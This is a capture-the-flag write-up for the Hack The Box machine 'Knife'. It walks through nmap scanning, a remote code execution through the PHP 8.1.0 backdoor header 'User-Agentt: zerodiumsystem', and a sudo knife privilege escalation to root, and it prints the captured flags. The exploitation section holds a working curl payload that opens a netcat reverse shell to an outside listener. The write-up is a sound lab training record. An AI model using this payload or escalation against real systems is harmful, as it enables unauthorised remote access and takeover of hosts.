Knife

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.242 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Wed Jan  5 19:11:34 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.242
Warning: 10.10.10.242 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.242
Host is up (0.089s latency).
Not shown: 41065 filtered tcp ports (no-response), 24468 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Jan  5 19:12:09 2022 -- 1 IP address (1 host up) scanned in 35.41 seconds

As we see, only ports 22 (SSH) and 80 (HTTP) are open.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.242 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Wed Jan  5 19:12:34 2022 as: nmap -sCV -p22,80 -oN targeted 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  5 19:12:44 2022 -- 1 IP address (1 host up) scanned in 10.32 seconds

It seems like we are facing a web page. Let's take a look at it.

There is not much going on there. None of the buttons work, and there is no valuable information in the source code. Let's see what the Wappalyzer detects.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

https://www.wappalyzer.com/

Exploitation

Wappalyzer detected that the website is running PHP 8.1.0. Let's search for any common exploit on exploit-db.

Exploit-DB is a great database of exploits and proof-of-concepts used by penetration testers and vulnerability researchers.

https://www.exploit-db.com/

I found a RCE exploit, which basically add a new header to the GET requests in order to execute commands. It adds the User-Agentt header with the value zerodiumsystem('command');. Note that the new header is with double t.

To get a shell, first we have to set a netcat listener.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If we send a GET request with the malicious header, we'll get a shell as the user james, and we'll be able to grab the user flag.

curl http://10.10.10.242 -H "User-Agentt: zerodiumsystem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4444 >/tmp/f');"

  • -H set the headers of the request.

listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.242] 55832
/bin/sh: 0: can't access tty; job control turned off
$ whoami
james
$ cat /home/james/user.txt
d4768ad57a1052305110b44b5427a9c4

Privilege Escalation

First of all, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's see if the james user can run any command as any other user.

sudo -l

  • -l list user privileges.

Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

We can execute the knife command as the root user. Let's see if there is any way of getting a shell as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

https://gtfobins.github.io/

If you search for the knife command in GTFOBins, you'll find that executing the following command, will spawn a shell as root. Then, all we have to do is reap the harvest and take the root flag.

sudo knife exec -E 'exec "/bin/bash"'

root@knife:/# whoami
root
root@knife:/# cat /root/root.txt 
a307ca11ffc211bb41fdd074ddbdd5bc

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